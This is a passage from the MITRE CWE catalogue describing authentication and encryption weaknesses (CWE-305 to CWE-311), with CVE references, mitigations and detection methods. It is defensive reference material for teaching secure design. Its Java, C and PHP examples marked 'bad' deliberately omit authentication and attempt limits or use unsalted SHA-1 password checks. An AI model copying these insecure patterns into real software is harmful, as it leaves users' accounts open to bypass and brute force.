Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1153
ChildOf	C	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Integrity Confidentiality	Bypass Protection Mechanism Gain Privileges or Assume Identity Read Application Data Execute Unauthorized Code or Commands *This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or allowing attackers to execute arbitrary code.*	

Observed Examples

Reference	Description
CVE-2004-2163	Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2163*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	1934

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Critical Step in Authentication

CWE-305: Authentication Bypass by Primary Weakness

Weakness ID : 305 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Observed Examples

Reference	Description
CVE-2002-1374	The provided password is only compared against the first character of the real password. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1374*
CVE-2000-0979	The password is not properly checked, which allows remote attackers to bypass access controls by sending a 1-byte password that matches the first character of the real password. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0979*
CVE-2001-0088	Chain: Forum software does not properly initialize an array, which inadvertently sets the password to a single character, allowing remote attackers to easily guess the password and gain administrative privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0088*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	1934

Notes

Relationship

Most "authentication bypass" errors are resultant, not primary.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Bypass by Primary Weakness

CWE-306: Missing Authentication for Critical Function

Weakness ID : 306 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	287	Improper Authentication	630

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	G	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Gain Privileges or Assume Identity Other *Exposing critical functionality essentially provides an attacker with the privilege level of that functionality. The consequences will depend on the associated functionality, but they can range from reading or modifying sensitive data, access to administrative or other privileged functionality, or possibly even execution of arbitrary code.*	

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries. Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness = Limited

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Where possible, avoid implementing custom authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These may make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].

Demonstrative Examples

Example 1:

In the following Java example the method createBankAccount is used to create a BankAccount object for a bank management application.

Example Language: Java *(bad)*

```
public BankAccount createBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
    BankAccount account = new BankAccount();
    account.setAccountNumber(accountNumber);
    account.setAccountType(accountType);
```

```
    account.setAccountOwnerName(accountName);
    account.setAccountOwnerSSN(accountSSN);
    account.setBalance(balance);
    return account;
}
```

However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects.

The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the createBankAccount will not create the bank account object.

Example Language: Java *(good)*

```
private boolean isUserAuthentic = false;
// authenticate user,
// if user is authenticated then set variable to true
// otherwise set variable to false
public boolean authenticateUser(String username, String password) {
    ...
}
public BankAccount createNewBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
    BankAccount account = null;
    if (isUserAuthentic) {
        account = new BankAccount();
        account.setAccountNumber(accountNumber);
        account.setAccountType(accountType);
        account.setAccountOwnerName(accountName);
        account.setAccountOwnerSSN(accountSSN);
        account.setBalance(balance);
    }
    return account;
}
```

Observed Examples

Reference	Description
CVE-2002-1810	MFV. Access TFTP server without authentication and obtain configuration file with sensitive plaintext information. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1810*
CVE-2008-6827	Agent software running at privileges does not authenticate incoming requests over an unprotected channel, allowing a Shatter" attack. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6827*
CVE-2004-0213	Product enforces restrictions through a GUI but not through privileged APIs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0213*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	803	2010 Top 25 - Porous Defenses	800	1895
MemberOf	C	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	809	1897
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	1912
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	952	SFP Secondary Cluster: Missing Authentication	888	1936

Notes

Relationship

This is separate from "bypass" issues in which authentication exists, but is faulty.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			No Authentication for Critical Function
Software Fault Patterns	SFP31		Missing authentication

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
12	Choosing Message Identifier
36	Using Unpublished APIs
62	Cross Site Request Forgery
166	Force the System to Reset Values

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-257]Frank Kim. "Top 25 Series - Rank 19 - Missing Authentication for Critical Function". 2010 February 3. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/02/23/top-25-series-rank-19-missing-authentication-for-critical-function/ >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

CWE-307: Improper Restriction of Excessive Authentication Attempts

Weakness ID : 307 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not implement sufficient measures to prevent multiple failed authentication attempts within in a short time frame, making it more susceptible to brute force attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	799	Improper Control of Interaction Frequency	1494
ChildOf	C	287	Improper Authentication	630

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *An attacker could perform an arbitrary number of authentication attempts using different passwords, and eventually gain access to the targeted account.*	

Detection Methods

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer Cost effective for partial coverage: Forced Path Execution

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Common protection mechanisms include: Disconnecting the user after a small number of failed attempts Implementing a timeout Locking out a targeted account Requiring a computational task on the user's part.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [REF-45]

Demonstrative Examples

Example 1:

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 2:

The following code, extracted from a servlet's doPost() method, performs an authentication lookup every time the servlet is invoked.

Example Language: Java *(bad)*

```
String username = request.getParameter("username");
String password = request.getParameter("password");
int authResult = authenticateUser(username, password);
```

However, the software makes no attempt to restrict excessive authentication attempts.

Example 3:

This code attempts to limit the number of login attempts by causing the process to sleep before completing the authentication.

Example Language: PHP *(bad)*

```
$username = $_POST['username'];
$password = $_POST['password'];
sleep(2000);
$isAuthenticated = authenticateUser($username, $password);
```

However, there is no limit on parallel connections, so this does not increase the amount of time an attacker needs to complete an attack.

Example 4:

In the following C/C++ example the validateUser method opens a socket connection, reads a username and password from the socket and attempts to authenticate the username and password.

Example Language: C *(bad)*

```
int validateUser(char *host, int port)
{
```

```
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    int isValidUser = 0;
    char username[USERNAME_SIZE];
    char password[PASSWORD_SIZE];
    while (isValidUser == 0) {
        if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
            if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
                isValidUser = AuthenticateUser(username, password);
            }
        }
    }
    return(SUCCESS);
}
```

The validateUser method will continuously check for a valid username and password without any restriction on the number of authentication attempts made. The method should limit the number of authentication attempts made to prevent brute force attacks as in the following example code.

Example Language: C *(good)*

```
int validateUser(char *host, int port)
{
    ...
    int count = 0;
    while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
        if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
            if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
                isValidUser = AuthenticateUser(username, password);
            }
        }
        count++;
    }
    if (isValidUser) {
        return(SUCCESS);
    }
    else {
        return(FAIL);
    }
}
```

Observed Examples

Reference	Description
CVE-1999-1152	Product does not disconnect or timeout after multiple failed logins. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1152*
CVE-2001-1291	Product does not disconnect or timeout after multiple failed logins. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1291*
CVE-2001-0395	Product does not disconnect or timeout after multiple failed logins. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0395*
CVE-2001-1339	Product does not disconnect or timeout after multiple failed logins. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1339*
CVE-2002-0628	Product does not disconnect or timeout after multiple failed logins. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0628*
CVE-1999-1324	User accounts not disabled when they exceed a threshold; possibly a resultant problem. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1324*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896
MemberOf	C	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	809	1897
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	1912
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	955	SFP Secondary Cluster: Unrestricted Authentication	888	1937

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER	AUTHENT.MULTFAIL		Multiple Failed Authentication Attempts not Prevented
Software Fault Patterns	SFP34		Unrestricted authentication

References

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

CWE-308: Use of Single-factor Authentication

Weakness ID : 308 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.

Extended Description

While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	654	Reliance on a Single Factor in a Security Decision	1281
ChildOf	C	287	Improper Authentication	630
PeerOf	B	309	Use of Password System for Primary Authentication	684
PeerOf	B	309	Use of Password System for Primary Authentication	684

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *If the secret in a single-factor authentication scheme gets compromised, full authentication is possible.*	

Potential Mitigations

Phase: Architecture and Design

Use multiple independent authentication schemes, which ensures that -- if one of the methods is compromised -- the system itself is still likely safe from compromise.

Demonstrative Examples

Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

Example Language: C *(bad)*

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

Example Language: Java *(bad)*

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code fails to incorporate more than one method of authentication. If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also exhibits CWE-328 (Reversible One-Way Hash) and CWE-759 (Use of a One-Way Hash without a Salt).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	1934
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	1975

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using single-factor authentication

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-309: Use of Password System for Primary Authentication

Weakness ID : 309 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	654	Reliance on a Single Factor in a Security Decision	1281
ChildOf	C	287	Improper Authentication	630
PeerOf	B	308	Use of Single-factor Authentication	682
PeerOf	B	262	Not Using Password Aging	577
PeerOf	B	308	Use of Single-factor Authentication	682

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Background Details

Password systems are the simplest and most ubiquitous authentication mechanisms. However, they are subject to such well known attacks,and such frequent compromise that their use in the most simple implementation is not practical.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *A password authentication mechanism error will almost always result in attackers being authorized as valid users.*	

Potential Mitigations

Phase: Architecture and Design

In order to protect password systems from compromise, the following should be noted: Passwords should be stored safely to prevent insider attack and to ensure that -- if a system is compromised -- the passwords are not retrievable. Due to password reuse, this information may be useful in the compromise of other systems these users work with. In order to protect these passwords, they should be stored encrypted, in a non-reversible state, such that the original text password cannot be extracted from the stored value. Password aging should be strictly enforced to ensure that passwords do not remain unchanged for long periods of time. The longer a password remains in use, the higher the probability that it has been compromised. For this reason, passwords should require refreshing periodically, and users should be informed of the risk of passwords which remain in use for too long. Password strength should be enforced intelligently. Rather than restrict passwords to specific content, or specific length, users should be encouraged to use upper and lower case letters, numbers, and symbols in their passwords. The system should also ensure that no passwords are derived from dictionary words.

Phase: Architecture and Design

Use a zero-knowledge password protocol, such as SRP.

Phase: Architecture and Design

Ensure that passwords are stored safely and are not reversible.

Phase: Architecture and Design

Implement password aging functionality that requires passwords be changed after a certain point.

Phase: Architecture and Design

Use a mechanism for determining the strength of a password and notify the user of weak password use.

Phase: Architecture and Design

Inform the user of why password protections are in place, how they work to protect data integrity, and why it is important to heed their warnings.

Demonstrative Examples

Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

Example Language: C *(bad)*

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

Example Language: Java *(bad)*

```
String plainText = new String(plainTextIn);
```

```
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code fails to incorporate more than one method of authentication. If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also exhibits CWE-328 (Reversible One-Way Hash) and CWE-759 (Use of a One-Way Hash without a Salt).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	1934

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using password systems
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-311: Missing Encryption of Sensitive Data

Weakness ID : 311 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not encrypt sensitive or critical information before storage or transmission.

Extended Description

The lack of proper data encryption passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ParentOf	B	312	Cleartext Storage of Sensitive Information	693
ParentOf	B	319	Cleartext Transmission of Sensitive Information	705

Nature	Type	ID	Name	Page
ParentOf	V	614	Sensitive Cookie in HTTPS Session Without 'Secure' Attribute	1220
PeerOf	G	327	Use of a Broken or Risky Cryptographic Algorithm	720

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	312	Cleartext Storage of Sensitive Information	693
ParentOf	B	319	Cleartext Transmission of Sensitive Information	705

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *If the application does not use a secure channel, such as SSL, to exchange sensitive information, it is possible for an attacker with access to the network traffic to sniff packets from the connection and uncover the data. This attack is not technically difficult, but does require physical access to some portion of the network over which the sensitive data travels. This access is usually somewhere near where the user is connected to the network (such as a colleague on the company network) but can be anywhere along the path from the user to the end server.*	
Confidentiality Integrity	Modify Application Data *Omitting the use of encryption in any program which transfers data over a network of any kind should be considered on par with delivering the data sent to each user on the local networks of both the sender and receiver. Worse, this omission allows for the injection of data into a stream of communication between two parties -- with no means for the victims to separate valid data from invalid. In this day of widespread network attacks and password collection sniffers, it is an unnecessary risk to omit encryption from the design of any system which might benefit from it.*	

Detection Methods

Manual Analysis

The characterizaton of sensitive data often requires domain-specific understanding, so manual methods are useful. However, manual efforts might not achieve desired code coverage within limited time constraints. Black box methods may produce artifacts (e.g. stored data or unencrypted network transfer) that require manual evaluation.

Effectiveness = High

Automated Analysis

Automated measurement of the entropy of an input/output source may indicate the use or lack of encryption, but human analysis is still required to distinguish intentionally-unencrypted data (e.g. metadata) from sensitive data.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Network Sniffer Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Automated Monitored Execution Man-in-the-middle attack tool

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Requirements

Clearly specify which data or resources are valuable enough that they should be protected by encryption. Require that any transmission or storage of this data/resource should use well-vetted encryption algorithms.

Phase: Architecture and Design

Ensure that encryption is properly integrated into the system design, including but not necessarily limited to: Encryption that is needed to store or transmit private data of the users of the system Encryption that is needed to protect the system itself from unauthorized disclosure or tampering Identify the separate needs and contexts for encryption: One-way (i.e., only the user or recipient needs to have the key). This can be achieved using public key cryptography, or other techniques in which the encrypting party (i.e., the software) does not need to have access to a private key. Two-way (i.e., the encryption can be automatically performed on behalf of a user, but the key

must be available so that the plaintext can be automatically recoverable by that user). This requires storage of the private key in a format that is recoverable only by the user (or perhaps by the operating system) in a way that cannot be recovered by others. Using threat modeling or other techniques, assume that data can be compromised through a separate vulnerability or weakness, and determine where encryption will be most effective. Ensure that data that should be private is not being inadvertently exposed using weaknesses such as insecure permissions (CWE-732). [REF-7]

Phase: Architecture and Design

Strategy = Libraries or Frameworks

